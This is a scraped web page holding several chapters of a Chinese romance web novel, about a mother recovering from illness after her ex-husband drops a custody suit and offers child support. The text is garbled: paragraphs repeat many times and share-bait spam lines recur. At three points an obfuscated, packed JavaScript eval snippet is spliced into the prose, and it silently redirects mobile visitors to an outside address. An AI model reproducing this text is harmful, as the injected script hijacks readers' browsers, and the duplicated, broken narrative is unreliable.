温昭宁很久没有睡过这么沉的觉了当她再次醒来时眼皮沉重得像是灌了铅她花了很大的力气才睁开眼。 视野先是一片模糊等光影逐渐聚焦她才看到病床前的母亲母亲的脸上写满了担忧和疲惫。 “宁宁你醒啦感觉怎么样?头还晕不晕?身上有没有哪里不舒服?”姚冬雪一边问一边小心翼翼地握住了她冰凉的手。 温昭宁嘴唇动了动喉咙干涩得发不出声音。 昏迷前的记忆碎片如同退潮后显露的礁石 清晰地浮现出来。 今天是她和贺淮钦抚养权案开庭的日子她得去**如果去晚了会给法官留下不好的印象。 她不能输了这个官司她不能。 可她现在怎么躺在这里? “妈……今天开庭……” “不开庭了你放宽心。” “怎么会不开庭了?延后了吗?” “不是的是贺律师他放弃和你争夺青柠的抚养权了关于青柠的抚养权诉讼所有相关的法律程度都会立刻停止他不会再跟你争孩子了。” 温昭宁怔怔地望着母亲 撤销诉讼? 不争了? 这怎么可能? “妈这是真的吗?我没事你不用哄我……” “真的宁宁妈绝对没有骗你。” “他……为什么?” 姚冬雪并不打算对现在还病弱的温昭宁说太多她只是拍了拍女儿的胳膊用尽量轻快的语气说:“谁知道呢也许是他良心发现了吧总之青柠不会再离开你了这是个好消息你以后不用再为这件事情感到焦虑了。” 不争了贺淮钦真的不争了。 温昭宁紧绷到极致的心弦终于松了松。 眼泪毫无预兆地涌了出来这是一种劫后余生般的庆幸和释然。 以后她终于不用日夜恐惧害怕法庭害怕分离害怕女儿受到伤害了。 “傻孩子你哭什么?”姚冬雪一边给温昭宁擦眼泪一边自己眼泪流得更凶。 “妈青柠呢?” “青柠在雨棠那里你放心雨棠把青柠照顾得很好现在是你自己要快点好起来。” 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 清晰地浮现出来。 今天是她和贺淮钦抚养权案开庭的日子,她得去**,如果去晚了,会给法官留下不好的印象。 她不能输了这个官司,她不能。 可她现在怎么躺在这里? “妈……今天开庭……” “不开庭了,你放宽心。” “怎么会不开庭了?延后了吗?” “不是的,是贺律师他放弃和你争夺青柠的抚养权了,关于青柠的抚养权诉讼,所有相关的法律程度,都会立刻停止,他不会再跟你争孩子了。” 温昭宁怔怔地望着母亲,眼睛里写满了“难以置信”这四个字。 撤销诉讼? 不争了? 这怎么可能? “妈,这是真的吗?我没事,你不用哄我……” “真的宁宁,妈绝对没有骗你。” “他……为什么?” 姚冬雪并不打算对现在还病弱的温昭宁说太多,她只是拍了拍女儿的胳膊,用尽量轻快的语气说:“谁知道呢,也许,是他良心发现了吧,总之,青柠不会再离开你了,这是个好消息,你以后不用再为这件事情感到焦虑了。” 不争了,贺淮钦真的不争了。 温昭宁紧绷到极致的心弦,终于松了松。 眼泪,毫无预兆地涌了出来,这是一种劫后余生般的庆幸和释然。 以后,她终于不用日夜恐惧,害怕法庭,害怕分离,害怕女儿受到伤害了。 “傻孩子,你哭什么?”姚冬雪一边给温昭宁擦眼泪,一边自己眼泪流得更凶。 “妈,青柠呢?” “青柠在雨棠那里,你放心,雨棠把青柠照顾得很好,现在,是你自己要快点好起来。” 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 清晰地浮现出来。 今天是她和贺淮钦抚养权案开庭的日子,她得去**,如果去晚了,会给法官留下不好的印象。 她不能输了这个官司,她不能。 可她现在怎么躺在这里? “妈……今天开庭……” “不开庭了,你放宽心。” “怎么会不开庭了?延后了吗?” “不是的,是贺律师他放弃和你争夺青柠的抚养权了,关于青柠的抚养权诉讼,所有相关的法律程度,都会立刻停止,他不会再跟你争孩子了。” 温昭宁怔怔地望着母亲,眼睛里写满了“难以置信”这四个字。 撤销诉讼? 不争了? 这怎么可能? “妈,这是真的吗?我没事,你不用哄我……” “真的宁宁,妈绝对没有骗你。” “他……为什么?” 姚冬雪并不打算对现在还病弱的温昭宁说太多,她只是拍了拍女儿的胳膊,用尽量轻快的语气说:“谁知道呢,也许,是他良心发现了吧,总之,青柠不会再离开你了,这是个好消息,你以后不用再为这件事情感到焦虑了。” 不争了,贺淮钦真的不争了。 温昭宁紧绷到极致的心弦,终于松了松。 眼泪,毫无预兆地涌了出来,这是一种劫后余生般的庆幸和释然。 以后,她终于不用日夜恐惧,害怕法庭,害怕分离,害怕女儿受到伤害了。 “傻孩子,你哭什么?”姚冬雪一边给温昭宁擦眼泪,一边自己眼泪流得更凶。 “妈,青柠呢?” “青柠在雨棠那里,你放心,雨棠把青柠照顾得很好,现在,是你自己要快点好起来。” 听说看这本书的人都是很幸运的,分享后你的运气会更棒 清晰地浮现出来。 今天是她和贺淮钦抚养权案开庭的日子,她得去**,如果去晚了,会给法官留下不好的印象。 她不能输了这个官司,她不能。 可她现在怎么躺在这里? “妈……今天开庭……” “不开庭了,你放宽心。” “怎么会不开庭了?延后了吗?” “不是的,是贺律师他放弃和你争夺青柠的抚养权了,关于青柠的抚养权诉讼,所有相关的法律程度,都会立刻停止,他不会再跟你争孩子了。” 温昭宁怔怔地望着母亲,眼睛里写满了“难以置信”这四个字。 撤销诉讼? 不争了? 这怎么可能? “妈,这是真的吗?我没事,你不用哄我……” “真的宁宁,妈绝对没有骗你。” “他……为什么?” 姚冬雪并不打算对现在还病弱的温昭宁说太多,她只是拍了拍女儿的胳膊,用尽量轻快的语气说:“谁知道呢,也许,是他良心发现了吧,总之,青柠不会再离开你了,这是个好消息,你以后不用再为这件事情感到焦虑了。” 不争了,贺淮钦真的不争了。 温昭宁紧绷到极致的心弦,终于松了松。 眼泪,毫无预兆地涌了出来,这是一种劫后余生般的庆幸和释然。 以后,她终于不用日夜恐惧,害怕法庭,害怕分离,害怕女儿受到伤害了。 “傻孩子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168254|196250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你哭什么?”姚冬雪一边给温昭宁擦眼泪,一边自己眼泪流得更凶。 “妈,青柠呢?” “青柠在雨棠那里,你放心,雨棠把青柠照顾得很好,现在,是你自己要快点好起来。” 听说看这本书的人都是很幸运的,分享后你的运气会更棒 清晰地浮现出来。 今天是她和贺淮钦抚养权案开庭的日子她得去**如果去晚了会给法官留下不好的印象。 她不能输了这个官司她不能。 可她现在怎么躺在这里? “妈……今天开庭……” “不开庭了你放宽心。” “怎么会不开庭了?延后了吗?” “不是的是贺律师他放弃和你争夺青柠的抚养权了关于青柠的抚养权诉讼所有相关的法律程度 温昭宁怔怔地望着母亲眼睛里写满了“难以置信”这四个字。 撤销诉讼? 不争了? 这怎么可能? “妈这是真的吗?我没事你不用哄我……” “真的宁宁妈绝对没有骗你。” “他……为什么?” 姚冬雪并不打算对现在还病弱的温昭宁说太多她只是拍了拍女儿的胳膊用尽量轻快的语气说:“谁知道呢也许是他良心发现了吧总之青柠不会再离开你了这是个好消息你以后不用再为这件事情感到焦虑了。” 不争了贺淮钦真的不争了。 温昭宁紧绷到极致的心弦终于松了松。 眼泪毫无预兆地涌了出来这是一种劫后余生般的庆幸和释然。 以后她终于不用日夜恐惧害怕法庭害怕分离害怕女儿受到伤害了。 “傻孩子你哭什么?”姚冬雪一边给温昭宁擦眼泪一边自己眼泪流得更凶。 “妈青柠呢?” “青柠在雨棠那里你放心雨棠把青柠照顾得很好现在是你自己要快点好起来。” 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 清晰地浮现出来。 今天是她和贺淮钦抚养权案开庭的日子,她得去**,如果去晚了,会给法官留下不好的印象。 她不能输了这个官司,她不能。 可她现在怎么躺在这里? “妈……今天开庭……” “不开庭了,你放宽心。” “怎么会不开庭了?延后了吗?” “不是的,是贺律师他放弃和你争夺青柠的抚养权了,关于青柠的抚养权诉讼,所有相关的法律程度,都会立刻停止,他不会再跟你争孩子了。” 温昭宁怔怔地望着母亲,眼睛里写满了“难以置信”这四个字。 撤销诉讼? 不争了? 这怎么可能? “妈,这是真的吗?我没事,你不用哄我……” “真的宁宁,妈绝对没有骗你。” “他……为什么?” 姚冬雪并不打算对现在还病弱的温昭宁说太多,她只是拍了拍女儿的胳膊,用尽量轻快的语气说:“谁知道呢,也许,是他良心发现了吧,总之,青柠不会再离开你了,这是个好消息,你以后不用再为这件事情感到焦虑了。” 不争了,贺淮钦真的不争了。 温昭宁紧绷到极致的心弦,终于松了松。 眼泪,毫无预兆地涌了出来,这是一种劫后余生般的庆幸和释然。 以后,她终于不用日夜恐惧,害怕法庭,害怕分离,害怕女儿受到伤害了。 “傻孩子,你哭什么?”姚冬雪一边给温昭宁擦眼泪,一边自己眼泪流得更凶。 “妈,青柠呢?” “青柠在雨棠那里,你放心,雨棠把青柠照顾得很好,现在,是你自己要快点好起来。” 你的朋友正在书荒,快去帮帮他吧 清晰地浮现出来。 今天是她和贺淮钦抚养权案开庭的日子,她得去**,如果去晚了,会给法官留下不好的印象。 她不能输了这个官司,她不能。 可她现在怎么躺在这里? “妈……今天开庭……” “不开庭了,你放宽心。” “怎么会不开庭了?延后了吗?” “不是的,是贺律师他放弃和你争夺青柠的抚养权了,关于青柠的抚养权诉讼,所有相关的法律程度,都会立刻停止,他不会再跟你争孩子了。” 温昭宁怔怔地望着母亲,眼睛里写满了“难以置信”这四个字。 撤销诉讼? 不争了? 这怎么可能? “妈,这是真的吗?我没事,你不用哄我……” “真的宁宁,妈绝对没有骗你。” “他……为什么?” 姚冬雪并不打算对现在还病弱的温昭宁说太多,她只是拍了拍女儿的胳膊,用尽量轻快的语气说:“谁知道呢,也许,是他良心发现了吧,总之,青柠不会再离开你了,这是个好消息,你以后不用再为这件事情感到焦虑了。” 不争了,贺淮钦真的不争了。 温昭宁紧绷到极致的心弦,终于松了松。 眼泪,毫无预兆地涌了出来,这是一种劫后余生般的庆幸和释然。 以后,她终于不用日夜恐惧,害怕法庭,害怕分离,害怕女儿受到伤害了。 “傻孩子,你哭什么?”姚冬雪一边给温昭宁擦眼泪,一边自己眼泪流得更凶。 “妈,青柠呢?” “青柠在雨棠那里,你放心,雨棠把青柠照顾得很好,现在,是你自己要快点好起来。” 你的朋友正在书荒,快去帮帮他吧 第126章 抚养费 晚上,边雨棠就带着青柠来医院看温昭宁了。 病房门被轻轻推开。 青柠的目光看向病床上的温昭宁时,猛地停住了脚步。 温昭宁靠在床头,脸色依旧苍白,但比起昏迷的时候已经好了很多,看到女儿,她努力扬起一个笑容:“青柠,来,到妈妈这儿来。” 青柠听到了她的话,可是,她没有像往常一样,欢呼着扑进温昭宁的怀里。 她就那么站在门口,小小的身体微微发着抖。 早上妈妈毫无征兆晕倒,怎么叫都叫不醒的恐怖画面在她小脑袋里闪回着。 “哇——” 青柠忽然无助又害怕地嚎啕起来。 “妈妈!妈妈!”她一边哭一边语无伦次地喊着,“你不要死……妈妈不要死……我不要你睡在那里……你起来跟我回家……呜呜呜……我害怕……妈妈……” 那哭声撕心裂肺。 青柠不懂什么是晕倒,她只知道早上的时候妈妈躺在地上,怎么叫都叫不醒,然后被救护车拉走了,而现在,妈妈虽然睁着眼睛,却还是那么苍白那么脆弱,好像随时又会“睡着”,再也不会醒来。 女儿的哭声,像一把最锋利的锉刀,狠狠打磨着温昭宁本就脆弱不堪的神经,她伸出的手僵在半空,心像被女儿的哭声凌迟了一遍又一遍。 “青柠不哭,青柠乖,妈妈在这儿,妈妈没事……”她跌跌撞撞地下床,脚步虚软地走到青柠面前,一把抱住了女儿,搂在怀里安慰,“妈妈没事,宝贝,妈妈好好的,你看,妈妈还能抱着你呢对不对?” 青柠的眼泪还是不停地涌出来,温昭宁的心都要碎了。 这一刻,她忽然明白了别人常说的那句话,成为母亲后,不敢病,不敢倒,甚至不敢死。 不是因为贪恋红尘,不是因为畏惧消亡,而是因为那个小小人儿会哭,会怕,会因为自己不在而觉得天塌地陷,世界灰暗。 她的健康,她的情绪,她的存在本身,都是孩子安全感的重要来源。 “妈妈,我不要你有事……我想要你健健康康陪着我……” 温昭宁深吸一口气,不再试图用苍白的语言去安慰,她努力撑起身体,在青柠面前转了一个圈圈。 “青柠,看看 妈妈。”温昭宁的声音依然虚弱但却带着一种清晰又坚定的力量“妈妈一定会好起来妈妈会好好吃饭好好睡觉听医生的话把身体养得棒棒的。” “真的吗?” “真的。”温昭宁蹲下来重新抱住青柠“相信妈妈妈妈不会离开你妈妈还要看着青柠长大上学变成漂亮勇敢的小姑娘。” “好。”青柠的哭声终于渐渐止住“我相信妈妈妈妈一定要快点好起来。” “好。”—— 温昭宁在医院住了一周。 中途袁西来看过她一次。 “温女士打扰你休息了。”袁西将一个果篮放在床头柜上声音放得很轻“我早就想来看你但这两天手上还有其他案子开庭所以耽搁了。” “没事袁律师你其实不用特地跑一趟。” “我这次过来除了来探望你另外还想给你汇报一下我们这个官司的最新情况。” 温昭宁的心微微提起来最新情况? 贺淮钦不是不和她争青柠的抚养权了吗?难道是又反悔了? “官司还要打吗?” “不不不不是的你放心关于孩子的抚养权诉讼贺律师他们那一方已经正式向**提交了撤诉申请 这个消息温昭宁虽然已经从母亲那里听说了但此刻从袁西口中得到正式的确认那一直悬着的心才算真正落回了实处。 “我这次过来主要是贺律师委托我向你转达他的另一项决定。”袁西从随身的公文包里拿出一份文件“贺律师表示他承认并尊重你作为孩子母亲在过去六年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17173566|196250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里以及未来抚养孩子过程中所付出的心血和承担的责任。因此除了放弃争夺抚养权之外他愿意从本月起每月定期向你支付一笔抚养费用于保障孩子的生活、教育及未来发展。” “抚养费?” 这完全出乎了温昭宁的意料在她看来贺淮钦不争夺抚养权已经算是“高抬贵手”了她从未想过他还会主动提出支付抚养费。 “金额方面贺律师的提议是每个月二十万元人民币支付方式是 通过银行转账,相关条款和保障,这份初步意向书里都有写明。”袁西说着,将手中的文件轻轻地放在了温昭宁的被子上。 每个月。 二十万。 温昭宁更震惊了。 这对她而言,不是一笔小数目,如果贺淮钦真的每个月给她打二十万,那就相当于她肩上的经济压力全都卸了。 “他为什么要这样……” “贺律师说了,这是他作为父亲应尽的责任和义务,他希望能为孩子创造一个更稳定,更有保障的成长环境,同时,他也希望能减轻你的负担,让你不需要全身心地扑在工作上面,可以有更多的时间和精力陪伴孩子。”袁西说着,忽然凑到温昭宁的面前,小小声地说:“其实呢,我觉得贺律师对你还是有感情的,他给这么多抚养费,主要还是希望能减轻你的经济压力,让你可以有更多的时间休息和调整,还有,你是不知道,开庭那天你忽然晕倒,他都急**,他抢我手机确认你的情况……” “袁律师,你别瞎猜,他有女朋友。”温昭宁打断了袁西的话。 “哦,对对对,我想起来了,白律师白律师。”袁西一拍脑门,“我们还是不说这个,你看一下这个文件,有任何疑问或者修改意见,我们都可以再沟通,如果你最终同意,我们会根据此意向书拟定正式的法律文件。” “不用看了,我同意。” 谁还能和钱过不去呢。 第127章 康复旅行 温昭宁出院之后暂停了自己所有的工作。 民宿她交给了边雨棠边雨棠之前也在和温昭宁一起打理民宿 温昭宁的视频账号也暂时停更了。 停更通知是她自己手写的。 【致所有关心我和民宿的朋友们: 很抱歉地通知大家这个账号要暂时停更了。 近期我的身体出现了一些状况医生嘱咐必须放下所有工作静心休养。所以请允许我暂时离开这个我们共建的星球。 那些未讲完的故事未拆封的惊喜和未抵达的远方我都仔细地收进了行囊它们不会消失只是在等待一个更明亮的清晨。 请不要为我担心我会在你们看不见的地方好好吃饭按时吃药认真看日出我保证我一定会带着更好的自己回来。 账号会暂停更新但爱不会。 愿你们每个夜晚都有甜梦栖居。】 停更通知发出后温昭宁其实有点忐忑网络世界瞬息万变停更往往意味着热度消退粉丝流失。 然而接下来的发展却完全出乎了温昭宁的意料。 她的动态发布几分钟后点赞和评论就开始飞速增长。 暖心的粉丝们无一抱怨也无一质疑全都是对她的鼓励和安慰。 第一条热评是“博主好好休息身体最重要我们等你!” “懂得停下来的人才能走得更远加油!” “偶尔是该让世界静一静支持你的一切决定。” “同频的人不会因为你暂停更新而离开放心我们都在这里等你健康归来!” 评论区很快被温暖、支持的话语淹没粉丝们自发地组织起了“盖楼”的祝福所有声音都汇成了一道温柔而坚定的暖流穿越网络流淌进她的心间。 温昭宁觉得自己很幸运在追逐梦想和经营生活的路上还有这么多素未蒙面的陌生人愿意给她一份安静的等待和真诚的祝福。 停更通知发出的第二天她还收到了粉丝寄来的礼物。 快递是母亲拿回来的一打开就看到里面装着一个木匣子木匣子里是一个素雅的枕 头枕套是浅浅的米白色上面用同色系的丝线绣着几枝舒展的兰草针脚细密看得出是手工精心缝制的。 枕套里面鼓鼓囊囊地塞满了东西温昭宁将手探进去指尖触碰到的是干燥的带着植物清香的填充物。 她抓了一把摊在掌心里细看这些都是已经经过炮制处理的中药材她依稀能辨认出的是薰衣草穗合欢皮菊花瓣和酸枣仁以及一些她不认识的根茎类药材 “哎哟谁这么有心送你一个手工制作的中药枕头这枕头可以安神助眠的。”母亲好奇。 温昭宁也很好奇。 这枕头中的药材配置和处理以及枕套的用心缝制程度绝不是市面上随便能买到的批量产品这更像是懂行的人根据一定的方子特意挑选定制的。 可是她根本没有在网上说起过她严重失眠啊粉丝怎么会知道? “盒子里还有一张卡片。”母亲提醒。 温昭宁把卡片拿出来上面印着一行字:“愿你的每个夜晚都有甜梦栖居。” 这话引用了她停更通知的最后一句看样子又像是关注她账号的粉丝。 到底是谁呢?—— 温昭宁休息了两个多月这两个多月里她的生活非常的简单。 晨起只要天气允许她会在村庄里缓慢地散步或者跟着手机软件做一些温和的拉伸午后阳光好的时候她会搬一把椅子坐在院子里看看书或者陪女儿玩点小游戏。 每周三她都会去心理医生那里报到学习梳理自己的情绪学习设立情绪的边界。 抗抑郁的药物她也每天按时服用那些小小的药片曾经让她抗拒又羞耻如今被她平静地接受。 她不再强迫自己必须立刻好起来也不再为偶尔的情绪低落和身体疲惫感到焦虑她学会了允许自己慢下来允许自己不够好。 而这两个多月里她一次都没有见过贺淮钦。 每周六贺淮钦的司机都会来接青柠去他那里但他自己一次都没有出现过。 甚至连一个电话一条信息都没有。 仿佛那个每周接走孩子的 人,只是一个与她全然无关的遥远符号。 温昭宁能感觉到,他刻意从她的物理世界里消失了。 起初,温昭宁的心里还会有难以言喻的酸涩,还会旁敲侧击地从女儿嘴里打探他的消息,但时间久了,这种只有每个月到账二十万的相处模式,反而让她感到一种奇异的平静。 见不到,就不会想念。 她不想去想念他。 五月,心理医生建议温昭宁脱离自己熟悉的环境,将自己抛入更广阔、更陌生的天地,去进行一场康复旅行。 她思虑了很久,最后选择了西北,她想看大漠孤烟、长河落日,想用大西北这片粗犷空旷的土地,来涤荡她心里最后那点淤积的郁气。 原本一切都很顺利,直到她落地西北后,贪图方便,搭上了一辆顺风车前往旅馆。 看起来老实寡言的司机,在开出几十公里后,忽然变了脸。 “妹子,你看这路多难走,油也费得厉害,之前说好的那个价格不行了,得加钱。” 这是典型的黑车套路,坐地起价。 温昭宁据理力争了几句,但对方显然吃准了她一个单身女子在这异地他乡别无选择。 “你要是不加钱,你就在这儿下吧,你自己想办法去旅馆。”司机从后视镜里斜睨着威胁她,“这里可不像城里那么好打车。” 温昭宁这人吃软不吃硬,她权衡几秒后,没有选择妥协,而是在支付了之前说好的一半车资后,果断拿着行李下了车。 司机没有骗她,这里的确不太好打车。 温昭宁沿着公路走了许久,都不见一辆车驶过来。 她正不知如何是好,就在这时,远处传来一阵低沉的引擎声。 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 人只是一个与她全然无关的遥远符号。 温昭宁能感觉到 起初温昭宁的心里还会有难以言喻的酸涩还会旁敲侧击地从女儿嘴里打探他的消息但时间久了这种只有每个月到账二十万的相处模式反而让她感到一种奇异的平静。 见不到就不会想念。 她不想去想念他。 五月心理医生建议温昭宁脱离自己熟悉的环境将自己抛入更广阔、更陌生的天地去进行一场康复旅行。 她思虑了很久最后选择了西北她想看大漠孤烟、长河落日想用大西北这片粗犷空旷的土地来涤荡她心里最后那点淤积的郁气。 原本一切都很顺利直到她落地西北后贪图方便搭上了一辆顺风车前往旅馆。 看起来老实寡言的司机在开出几十公里后忽然变了脸。 “妹子你看这路多难走油也费得厉害之前说好的那个价格不行了得加钱。” 这是典型的黑车套路坐地起价。 温昭宁据理力争了几句但对方显然吃准了她一个单身女子在这异地他乡别无选择。 “你要是不加钱你就在这儿下吧你自己想办法去旅馆。”司机从后视镜里斜睨着威胁她“这里可不像城里那么好打车。” 温昭宁这人吃软不吃硬她权衡几秒后没有选择妥协而是在支付了之前说好的一半车资后果断拿着行李下了车。 司机没有骗她这里的确不太好打车。 温昭宁沿着公路走了许久都不见一辆车驶过来。 她正不知如何是好就在这时远处传来一阵低沉的引擎声。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 人,只是一个与她全然无关的遥远符号。 温昭宁能感觉到,他刻意从她的物理世界里消失了。 起初,温昭宁的心里还会有难以言喻的酸涩,还会旁敲侧击地从女儿嘴里打探他的消息,但时间久了,这种只有每个月到账二十万的相处模式,反而让她感到一种奇异的平静。 见不到,就不会想念。 她不想去想念他。 五月,心理医生建议温昭宁脱离自己熟悉的环境,将自己抛入更广阔、更陌生的天地,去进行一场康复旅行。 她思虑了很久,最后选择了西北,她想看大漠孤烟、长河落日,想用大西北这片粗犷空旷的土地,来涤荡她心里最后那点淤积的郁气。 原本一切都很顺利,直到她落地西北后,贪图方便,搭上了一辆顺风车前往旅馆。 看起来老实寡言的司机,在开出几十公里后,忽然变了脸。 “妹子,你看这路多难走,油也费得厉害,之前说好的那个价格不行了,得加钱。 这是典型的黑车套路,坐地起价。 温昭宁据理力争了几句,但对方显然吃准了她一个单身女子在这异地他乡别无选择。 “你要是不加钱,你就在这儿下吧,你自己想办法去旅馆。 温昭宁这人吃软不吃硬,她权衡几秒后,没有选择妥协,而是在支付了之前说好的一半车资后,果断拿着行李下了车。 司机没有骗她,这里的确不太好打车。 温昭宁沿着公路走了许久,都不见一辆车驶过来。 她正不知如何是好,就在这时,远处传来一阵低沉的引擎声。 听说看这本书的人都是很幸运的,分享后你的运气会更棒 人,只是一个与她全然无关的遥远符号。 温昭宁能感觉到,他刻意从她的物理世界里消失了。 起初,温昭宁的心里还会有难以言喻的酸涩,还会旁敲侧击地从女儿嘴里打探他的消息,但时间久了,这种只有每个月到账二十万的相处模式,反而让她感到一种奇异的平静。 见不到,就不会想念。 她不想去想念他。 五月,心理医生建议温昭宁脱离自己熟悉的环境,将自己抛入更广阔、更陌生的天地,去进行一场康复旅行。 她思虑了很久,最后选择了西北,她想看大漠孤烟、长河落日,想用大西北这片粗犷空旷的土地,来涤荡她心里最后那点淤积的郁气。 原本一切都很顺利,直到她落地西北后,贪图方便,搭上了一辆顺风车前往旅馆。 看起来老实寡言的司机,在开出几十公里后,忽然变了脸。 “妹子,你看这路多难走,油也费得厉害,之前说好的那个价格不行了,得加钱。” 这是典型的黑车套路,坐地起价。 温昭宁据理力争了几句,但对方显然吃准了她一个单身女子在这异地他乡别无选择。 “你要是不加钱,你就在这儿下吧,你自己想办法去旅馆。”司机从后视镜里斜睨着威胁她,“这里可不像城里那么好打车。” 温昭宁这人吃软不吃硬,她权衡几秒后,没有选择妥协,而是在支付了之前说好的一半车资后,果断拿着行李下了车。 司机没有骗她,这里的确不太好打车。 温昭宁沿着公路走了许久,都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17173567|196250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不见一辆车驶过来。 她正不知如何是好,就在这时,远处传来一阵低沉的引擎声。 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 人,只是一个与她全然无关的遥远符号。 温昭宁能感觉到,他刻意从她的物理世界里消失了。 起初,温昭宁的心里还会有难以言喻的酸涩,还会旁敲侧击地从女儿嘴里打探他的消息,但时间久了,这种只有每个月到账二十万的相处模式,反而让她感到一种奇异的平静。 见不到,就不会想念。 她不想去想念他。 五月,心理医生建议温昭宁脱离自己熟悉的环境,将自己抛入更广阔、更陌生的天地,去进行一场康复旅行。 她思虑了很久,最后选择了西北,她想看大漠孤烟、长河落日,想用大西北这片粗犷空旷的土地,来涤荡她心里最后那点淤积的郁气。 原本一切都很顺利,直到她落地西北后,贪图方便,搭上了一辆顺风车前往旅馆。 看起来老实寡言的司机,在开出几十公里后,忽然变了脸。 “妹子,你看这路多难走,油也费得厉害,之前说好的那个价格不行了,得加钱。” 这是典型的黑车套路,坐地起价。 温昭宁据理力争了几句,但对方显然吃准了她一个单身女子在这异地他乡别无选择。 “你要是不加钱,你就在这儿下吧,你自己想办法去旅馆。”司机从后视镜里斜睨着威胁她,“这里可不像城里那么好打车。” 温昭宁这人吃软不吃硬,她权衡几秒后,没有选择妥协,而是在支付了之前说好的一半车资后,果断拿着行李下了车。 司机没有骗她,这里的确不太好打车。 温昭宁沿着公路走了许久,都不见一辆车驶过来。 她正不知如何是好,就在这时,远处传来一阵低沉的引擎声。 听说看这本书的人都是很幸运的,分享后你的运气会更棒 人只是一个与她全然无关的遥远符号。 温昭宁能感觉到他刻意从她的物理世界里消失了。 起初温昭宁的心里还会有难以言喻的酸涩还会旁敲侧击地从女儿嘴里打探他的消息但时间久了这种只有每个月到账二十万的相处模式反而让她感到一种奇异的平静。 见不到就不会想念。 她不想去想念他。 五月心理医生建议温昭宁脱离自己熟悉的环境将自己抛入更广阔、更陌生的天地去进行一场康复旅行。 她思虑了很久最后选择了西北她想看大漠孤烟、长河落日想用大西北这片粗犷空旷的土地来涤荡她心里最后那点淤积的郁气。 原本一切都很顺利直到她落地西北后贪图方便搭上了一辆顺风车前往旅馆。 看起来老实寡言的司机在开出几十公里后忽然变了脸。 “妹子你看这路多难走油也费得厉害之前说好的那个价格不行了得加钱。” 这是典型的黑车套路坐地起价。 温昭宁据理力争了几句但对方显然吃准了她一个单身女子在这异地他乡别无选择。 “你要是不加钱你就在这儿下吧你自己想办法去旅馆。”司机从后视镜里斜睨着威胁她“这里可不像城里那么好打车。” 温昭宁这人吃软不吃硬她权衡几秒后没有选择妥协而是在支付了之前说好的一半车资后 司机没有骗她这里的确不太好打车。 温昭宁沿着公路走了许久都不见一辆车驶过来。 她正不知如何是好就在这时远处传来一阵低沉的引擎声。 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 人,只是一个与她全然无关的遥远符号。 温昭宁能感觉到,他刻意从她的物理世界里消失了。 起初,温昭宁的心里还会有难以言喻的酸涩,还会旁敲侧击地从女儿嘴里打探他的消息,但时间久了,这种只有每个月到账二十万的相处模式,反而让她感到一种奇异的平静。 见不到,就不会想念。 她不想去想念他。 五月,心理医生建议温昭宁脱离自己熟悉的环境,将自己抛入更广阔、更陌生的天地,去进行一场康复旅行。 她思虑了很久,最后选择了西北,她想看大漠孤烟、长河落日,想用大西北这片粗犷空旷的土地,来涤荡她心里最后那点淤积的郁气。 原本一切都很顺利,直到她落地西北后,贪图方便,搭上了一辆顺风车前往旅馆。 看起来老实寡言的司机,在开出几十公里后,忽然变了脸。 “妹子,你看这路多难走,油也费得厉害,之前说好的那个价格不行了,得加钱。” 这是典型的黑车套路,坐地起价。 温昭宁据理力争了几句,但对方显然吃准了她一个单身女子在这异地他乡别无选择。 “你要是不加钱,你就在这儿下吧,你自己想办法去旅馆。”司机从后视镜里斜睨着威胁她,“这里可不像城里那么好打车。” 温昭宁这人吃软不吃硬,她权衡几秒后,没有选择妥协,而是在支付了之前说好的一半车资后,果断拿着行李下了车。 司机没有骗她,这里的确不太好打车。 温昭宁沿着公路走了许久,都不见一辆车驶过来。 她正不知如何是好,就在这时,远处传来一阵低沉的引擎声。 你的朋友正在书荒,快去帮帮他吧 第128章 我也住这里 温昭宁回头。 阳光刺得她的眼睛有点睁不开,她眯着眼,看到一辆黑色的越野车正不疾不徐地朝她的方向驶来。 这辆越野车车型威猛,轮胎宽大,像一头沉默有力的钢铁巨兽,沉稳地破开热浪和尘土,朝着她靠近。 终于看到了一辆过路车,温昭宁还是挺激动的。 她连忙退到了路边更安全的位置,用力挥了挥手。 车子在她前方几米处缓缓停下,驾驶座那一侧的车窗,贴着深色的防爆膜,从外面看什么都看不见。 温昭宁深吸一口气,压下心头的忐忑,快步上前,轻轻叩响了驾驶座的车窗玻璃。 “叩、叩。” 她微笑,尽量让自己的表情看起来镇定而友好。 